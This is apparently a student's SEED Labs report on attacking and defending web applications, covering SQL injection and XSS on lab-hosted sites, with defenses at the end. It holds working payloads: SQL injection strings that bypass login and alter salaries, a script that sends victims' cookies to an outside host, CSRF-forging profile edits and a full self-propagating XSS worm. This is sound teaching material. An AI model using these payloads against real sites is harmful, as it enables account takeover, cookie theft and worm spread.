实践十 Web应用程序安全攻防
1. 实践内容
1.1 SEED SQL注入攻击与防御实验
我们已经创建了一个Web应用程序,并将其托管在 三达不溜.SEEDLabSQLInjection.com。该Web应用程序是一个简单的员工管理应用程序。员工可以通过此Web应用程序查看和更新数据库中的个人信息。此Web应用程序主要有两个角色:管理员是特权角色,可以管理每个员工的个人资料信息。员工是一般角色,可以查看或更新自己的个人资料信息。完成以下任务:
熟悉SQL语句: 我们已经创建了一个名为Users的数据库,其中包含一个名为creditential的表。该表存储了每个员工的个人信息(例如,eid,密码,薪水,ssn等)。在此任务中,您需要使用数据库来熟悉SQL查询。
对SELECT语句的SQL注入攻击:上述Web应用存在SQL输入漏洞,任务是在不知道密码的情况下登陆该Web应用程序。
对UPDATE语句的SQL注入攻击:通过员工的更新个人界面实施UPDATE语句的SQL注入攻击。
SQL对抗:修复上述SQL注入攻击漏洞。
1.2 SEED XSS跨站脚本攻击实验(Elgg)
为了演示攻击者可以利用XSS漏洞做什么,我们在预先构建的Ubuntu VM映像中设置了一个名为Elgg的Web应用程序。在本实验中,学生需要利用此漏洞对经过修改的Elgg发起XSS攻击,攻击的最终目的是在用户之间传播XSS蠕虫,这样,无论是谁查看的受感染用户个人资料都将被感染。
发布恶意消息,显示警报窗口:在您的Elgg配置文件中嵌入一个JavaScript程序,以便当另一个用户查看您的配置文件时,将执行JavaScript程序并显示一个警报窗口。
弹窗显示cookie信息:将cookie信息显示。
窃取受害者的cookies:将cookie发送给攻击者。
成为受害者的朋友:使用js程序加受害者为朋友,无需受害者干预,使用相关的工具了解Elgg加好友的过程。
修改受害者的信息:使用js程序使得受害者在访问Alice的页面时,资料无需干预却被修改。
编写XSS蠕虫。
对抗XSS攻击。
2. 实践过程
2.1 SEED SQL注入攻击与防御实验
2.1.1 熟悉SQL语句
VMware导入Seed Ubuntu,注意这是对SeedLab官方的做了修改之后的虚拟机,直接套用seed官方虚拟机的话无法进行实验
进root权限之后启动MySQL mysql -u root -p
查看该数据库里都有什么库 show databases;
按照要求,要使用users库 use Users;
然后看User库里都有什么表,发现只有一个表 show tables;
然后看credential表里都有什么内容 select * from credential;
发现是个人信息,eid,薪水,生日,手机号等等
查看所有有关Alice的信息 select * from credential where Name='Alice';(注意英文引号)
2.1.2 对SELECT语句的SQL注入攻击
虚拟机浏览器登录www.SEEDLabSQLInjection.com
分析页面源码,注意这一行
<form action="unsafe_home.php" method="get">
页面get访问unsafe_home.php文件
在本地/var/www/SQLInjection/目录下找到unsafe_home.php文件
是个用户登录验证的脚本,用于SQL注入教育演示(开头几行注释)
该php脚本的内容交给GPT分析
这段代码是一个PHP脚本,用于处理一个网页上的用户登录验证,主要用于教育目的,展示SQL注入的问题。它的功能包括以下几个主要部分:
用户认证:
- 通过GET请求接收用户名和密码。
- 用户名和密码被用来在数据库中查询匹配的用户记录。
数据库连接与查询:
- 连接到一个名为
Users
的数据库,使用用户名root
和密码seedubuntu
。- 执行一个SQL查询,检查数据库中是否有与提供的用户名和密码匹配的记录。
- 这里的密码处理方式是使用
sha1
哈希函数进行加密,但是sha1
已经被认为是不安全的,容易受到破解。SQL注入漏洞:
- 代码中直接将用户输入拼接到SQL查询中,这是一个典型的SQL注入漏洞示例。攻击者可以通过修改
username
或Password
字段的GET参数来注入恶意SQL代码。- 没有任何形式的用户输入验证或者预处理(如使用预处理语句或参数化查询),这使得应用容易受到SQL注入攻击。
用户界面的动态构建:
- 根据用户是否成功登录,显示不同的信息。如果登录成功(即数据库查询返回了用户数据),则显示用户的详细信息。
- 如果是普通用户,则显示用户的个人信息;如果是管理员,则显示所有用户的信息。
- 使用Bootstrap框架来美化界面。
会话管理:
- 如果用户登录成功,服务器端会启动一个会话并保存用户ID、名字和加密后的密码。
- 提供了一个注销的功能,使用户可以安全退出。
主要是下图这段,SQL查询的构建
注意这句
WHERE name= '$input_uname' and Password='$hashed_pwd'";
在SQL下显示为
WHERE name= '$input_uname' and Password='$hashed_pwd'";
需要uname和密码对的上,但如果我们利用SQL的注释--或者#(该实验的数据库版本应该使用#),比如我们输入admin'#,则php脚本里的语句会被替换成
WHERE name= 'admin'#' and Password='$hashed_pwd'
#表示注释的开始,因此查询的其余部分(包括密码比较)将被忽略。如果数据库中存在名为admin的用户,这种注入会导致查询返回该用户的记录,从而绕过密码验证
下图的代码演示的SQL语句新一点,用--代替#进行演示,可以看到--后的语句被注释掉了
WHERE name= 'admin' --' and Password='$hashed_pwd'
SQL注入攻击成功
2.1.3 对update语句的SQL注入攻击
回到目录下,打开unsafe_edit_backend.php脚本,粗看是个用于更新用户信息的脚本
仍然让GPT分析
主要功能
会话管理:
- 脚本首先启动一个会话,从会话中获取用户的用户名(
$uname
)、员工ID($eid
)、以及用户ID($id
)。获取用户输入:
- 通过GET请求从表单或URL参数中接收用户的邮箱(
NickName
)、地址(Address
)、密码(Password
)和电话号码(PhoneNumber
)。数据库连接与更新操作:
- 连接到
Users
数据库,使用root
用户和seedubuntu
密码。- 根据用户ID和提供的数据执行更新操作。如果用户提供了新的密码,该密码将被哈希处理(使用
sha1
,虽然这种方式不够安全)并更新到数据库和会话中。重定向:
- 更新完毕后,用户将被重定向到
unsafe_home.php
页面。安全性问题
- SQL注入漏洞:
- 脚本在构建SQL更新语句时直接将用户输入拼接到SQL命令中,这导致了SQL注入的风险。例如,如果用户在昵称或地址字段中输入恶意的SQL片段,可能会修改SQL命令的行为或影响数据库安全。
- 不安全的密码处理:
- 使用
sha1
进行密码哈希处理已经不被认为是安全的。sha1
容易受到破解攻击,推荐使用更强的哈希算法,如bcrypt
。
注意下图中这段
可以更新数据库
首先可以
更新所有用户的Nickname
只需要在输入新昵称的时候这样输入20232805hzc'#
原理同之前的
当然,原来的语句是这样的(密码为空时)
$sql = "UPDATE credential SET nickname='$input_nickname',email='$input_email',address='$input_address',PhoneNumber='$input_phonenumber' where ID=$id;";
我们也可以这样注入
Admin123', email='', address='', PhoneNumber='' WHERE 'x'='x
这会让语句解析成
UPDATE credential SET nickname='Admin123', email='', address='', PhoneNumber='' WHERE 'x'='x';
'x'='x'肯定成立,故数据库里的所有记录都会被更新
更新指定用户的信息
',Salary='0' where Name='Alice';#
',直接结束前面填充的内容,后面根据where条件来更新salary
2.1.4 SQL对抗
首先说一下这些攻击的原理,使原有的SQL查询逻辑改变(#),或者添加额外的SQL命令(where =),来绕过认证或者修改数据
对抗/修复:
1.使用预处理语句和参数化查询
2.严格的输入验证
3.最小权限原则
4.定期安全审计和实时监控
针对1,本来是想演示的,但是本地还有几个safe前缀的文件,里面已经修改好了
safe_hame.php
$sql = $conn->prepare("SELECT id, name, eid, salary, birth, ssn, phoneNumber, address, email,nickname,Password
FROM credential
WHERE name= ? and Password= ?");
safe_edit_backend
$_SESSION['pwd']=$hashed_pwd;
$sql = $conn->prepare("UPDATE credential SET nickname= ?,email= ?,address= ?,Password= ?,PhoneNumber= ? where ID=$id;");
$sql->bind_param("sssss",$input_nickname,$input_email,$input_address,$hashed_pwd,$input_phonenumber);
$sql->execute();
$sql->close();
}else{
// if passowrd field is empty.
$sql = $conn->prepare("UPDATE credential SET nickname=?,email=?,address=?,PhoneNumber=? where ID=$id;");
$sql->bind_param("ssss",$input_nickname,$input_email,$input_address,$input_phonenumber);
修改之后的效果指定了操作指令和传入参数,防止参数被解释为SQL语句,就算输入的内容包含了SQL语句,数据库也只会把这些语句当作传入参数进行处理。
2.2 SEED XSS跨站脚本攻击实验(Elgg)
2.2.1 发布恶意消息,显示警报窗口
虚拟机浏览器进入www.xsslabelgg.com
用户名 Alice 密码 seedalice
右侧点击头像,然后edit profile
Brief description一栏填入下面代码,警报窗口,警报内容20232805hzc,都是JS的东西
alert()函数用于弹警告框
<script> alert('20232805hzc');</script>
2.2.2 cookies信息弹窗显示
Brief description一栏填入下面代码,document.cookie是JS的一个属性,存当前域的所有cookie
<script>alert(document.cookie);</script>
2.2.3 窃取受害者的cookies
查询本机IP,84.130(新安装未改动)
Brief description一栏填入下面代码,窃取cookie并发送到84.130的8080端口,并且是图像请求,就算失败了也看不出来什么,escape用于对获取的cookie进行编码,进行安全传输
<script>document.write('<img src=http://192.168.84.130:8080?c='+escape(document.cookie) + ' >');</script>
nc -l 8080 -v 监听8080端口来验证是否获取到受害者cookie
2.2.4 成为受害者的朋友
该小节之前在PC上操作,该小节开始在surface上操作
要先找到点击添加好友之后发送的数据包再进行后续操作
进入到body的主页之后查看网页源码,切换至network项,之后点击add friends,就会捕获到一条请求,如下
然后查看该请求的url
http://www.xsslabelgg.com/action/friends/add?friend=45&__elgg_ts=1715885910&__elgg_token=ggJlJof3dOBMvCR727VA_A
这是一个web请求,让GPT分析一下
基础URL:
http://www.xsslabelgg.com/action/friends/add
- 这部分指定了请求的目标网站(
www.xsslabelgg.com
)和具体的路径(/action/friends/add
),表明这是一个向该站点发出的添加好友的请求。查询参数:
friend=45
:这个参数指定了要添加的好友的ID号或用户名,这里的值“45”表明是向ID为45的用户发起好友请求。__elgg_ts=1715885910
:这是一个时间戳参数,通常用于防止请求的重放攻击。这里的值“1715885910”代表了请求发起时的具体时间。__elgg_token=ggJlJof3dOBMvCR727VA_A
:这是一个安全令牌(token),用于防止跨站请求伪造(CSRF)攻击。它确保请求是由用户的意图发起的,而不是由第三方网站恶意发起。安全性考量
- 时间戳(
__elgg_ts
) 和 令牌(__elgg_token
) 的使用是网络安全的良好实践,有助于确保Web请求的真实性和一次性,防止被恶意复用。- 时间戳和令牌通常在用户的会话期间生成,并在服务器端进行验证,以确认它们的有效性。
可能的风险
- 如果这些参数(尤其是令牌)被截获,它们可能被用于执行未经授权的操作,例如在用户不知情的情况下添加好友。
- 虽然时间戳和令牌的使用提供了基本安全措施,但它们的安全性也取决于如何生成和验证这些值。如果生成方式易于预测或验证不严格,那么安全性就可能受到威胁。
重点在于token
在自己(Alice)的About me填入如下代码,注意编辑的时候选择Html Edit,而不是visual
<script type="text/javascript">
window.onload = function () {
var Ajax = null;
var ts = "&__elgg_ts=" + elgg.security.token.__elgg_ts;
var token = "&__elgg_token=" + elgg.security.token.__elgg_token;
var sendurl = "http://www.xsslabelgg.com/action/friends/add?friend=44" + ts + token;
Ajax = new XMLHttpRequest();
Ajax.open("GET", sendurl, true);
Ajax.setRequestHeader("Host", "www.xsslabelgg.com");
Ajax.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
Ajax.send();
}
</script>
分析一下
初始化变量:
Ajax
: 用于存储 XMLHttpRequest 对象,通过该对象发起 HTTP 请求。ts
和token
: 从页面的 JavaScript 全局对象elgg.security.token
中获取时间戳(__elgg_ts
)和令牌(__elgg_token
),这通常用于防止 CSRF 攻击。构造 URL:
sendurl
: 使用固定的好友 ID(这里是44),结合时间戳和令牌构造出一个用于添加好友的 URL。配置和发送 Ajax 请求:
- 使用
XMLHttpRequest
对象的open
方法以 GET 方式打开sendurl
指定的 URL,true
参数表示请求为异步。- 设置请求头,包括 "Host" 和 "Content-Type",这些头信息用来指定请求的目标主机和内容类型。
- 最后,通过
send()
方法发送请求。
之后登录Samy账号,Members里点进Alice主页
发现捕获到了自动向Alice发送了add friend请求的包,实验成功
2.2.5 修改受害者的信息
同上一小节,需要先知道修改信息会发送什么样的数据包,当前是Boby用户,点进Edit profile查看捕获到的包
切回Alice,把以下代码填入About me,仍然是HTML Edit模式
<script type="text/javascript">
window.onload = function(){
var userName=elgg.session.user.name;
var guid="&guid="+elgg.session.user.guid;
var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
var token="&__elgg_token="+elgg.security.token.__elgg_token;
var content= token + ts + "name=" + userName + "&description=<p>This had been changed by 20232805hzc.</p> &accesslevel[description]=2&briefdescription=&accesslevel[briefdescription]=2&location=&accesslevel[location]=2&interests=&accesslevel[interests]=2&skills=&accesslevel[skills]=2&contactemail=&accesslevel[contactemail]=2&phone=&accesslevel[phone]=2&mobile=&accesslevel[mobile]=2&website=&accesslevel[website]=2&twitter=&accesslevel[twitter]=2" + guid;
var sendurl = "http://www.xsslabelgg.com/action/profile/edit"
var samyGuid=44;
if(elgg.session.user.guid!=samyGuid)
{
var Ajax=null;
Ajax=new XMLHttpRequest();
Ajax.open("POST",sendurl,true);
Ajax.setRequestHeader("Host","www.xsslabelgg.com");
Ajax.setRequestHeader("Content-Type",
"application/x-www-form-urlencoded");
Ajax.send(content);
}
}
</script>
之后切回Boby,访问Alice主页,能捕获到edit包如下,实验成功
2.2.6 编写XSS蠕虫
把以下代码填入Alice的About me,以实现xss蠕虫
<script id="worm" type="text/javascript">
window.onload = function(){
var headerTag = "<script id=\'worm\' type=\'text/javascript\'>";
var jsCode = document.getElementById("worm").innerHTML;
var tailTag = "</" + "script>";
var wormCode = encodeURIComponent(headerTag + jsCode + tailTag);
var userName=elgg.session.user.name;
var guid="&guid="+elgg.session.user.guid;
var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
var token="&__elgg_token="+elgg.security.token.__elgg_token;
var content= token + ts + "&name=" + userName + "&description=<p>Hacked by 20232805hzc"+ wormCode + "</p> &accesslevel[description]=2&briefdescription=&accesslevel[briefdescription]=2&location=&accesslevel[location]=2&interests=&accesslevel[interests]=2&skills=&accesslevel[skills]=2&contactemail=&accesslevel[contactemail]=2&phone=&accesslevel[phone]=2&mobile=&accesslevel[mobile]=2&website=&accesslevel[website]=2&twitter=&accesslevel[twitter]=2" + guid;
var sendurl = "http://www.xsslabelgg.com/action/profile/edit"
var samyGuid=44;
if(elgg.session.user.guid!=samyGuid){
var Ajax=null;
Ajax=new XMLHttpRequest();
Ajax.open("POST",sendurl,true);
Ajax.setRequestHeader("Host","www.xsslabelgg.com");
Ajax.setRequestHeader("Content-Type",
"application/x-www-form-urlencoded");
Ajax.send(content);
}
}
</script>
代码分析
脚本标签和代码复制:
headerTag
和tailTag
定义了一个新的<script>
标签的开始和结束。jsCode
获取当前脚本(ID为"worm")的内部代码。wormCode
是整个脚本的 URL 编码版本,准备将其作为内容注入其他用户的页面。构造恶意内容:
- 从
elgg
全局对象获取当前登录用户的用户名 (userName
) 和唯一标识符 (guid
)。- 获取 CSRF 令牌 (
token
) 和时间戳 (ts
),这些用于伪装请求,使之看起来是合法的。- 构造
content
变量,包含修改个人资料的所有表单字段。字段description
被设置为包含恶意脚本的 HTML,当这个资料页被其他用户查看时,脚本将执行。自动发送数据:
sendurl
是处理个人资料编辑的服务器端脚本地址。- 判断当前用户是否是脚本的初始发布者(假定为用户ID 44),如果不是,则执行下一步。
- 使用
XMLHttpRequest
发送一个 POST 请求到sendurl
,其中包含恶意更新的个人资料数据。潜在影响
- 传播:这个蠕虫脚本将自己复制到受影响用户的个人资料中,当其他用户查看这些资料时,脚本也会在他们的浏览器中执行。
- 隐蔽性:脚本利用正常的 Web 功能(如编辑个人资料)在不引起用户注意的情况下执行,这增加了其传播的有效性。
- 数据篡改:脚本自动更改用户资料,可能会导致数据的损坏或失真。
使用Boby访问Alice,再使用Samy访问Boby,分别抓包观察
Boby访问Alice
Samy访问Boby
Samy自己也被感染,抓到了edit包,成功实现了xss蠕虫
2.2.7 对抗XSS攻击
登录管理员账户 Admin seedelgg
在plugins里的HTMLawed项,点击一下Activate就会变成Deactivate
这个选项是个php库,用来自定义过滤和限制html内容的
虚拟机里做的修改效果是禁用所有不安全的脚本和样式(当然还有其他配置模式)
我们再去Alice主页,发现xss攻击代码被正常显示,且不再生效
3. 学习中遇到的问题及解决
show databases;一定记得语句末尾有个分号,sql的语句都需要加分号
seedubuntu虚拟机的sql版本较老,部分语句(例如注释)和新版本不一样
4. 学习感想和体会
实验2里的部分很多都是js的知识内容
2.2.4及之后的实验,有的人在visual edit模式下就“成功”了,是真有意思啊
5. 参考资料
- [ChatGPT 4](chat.openai.com)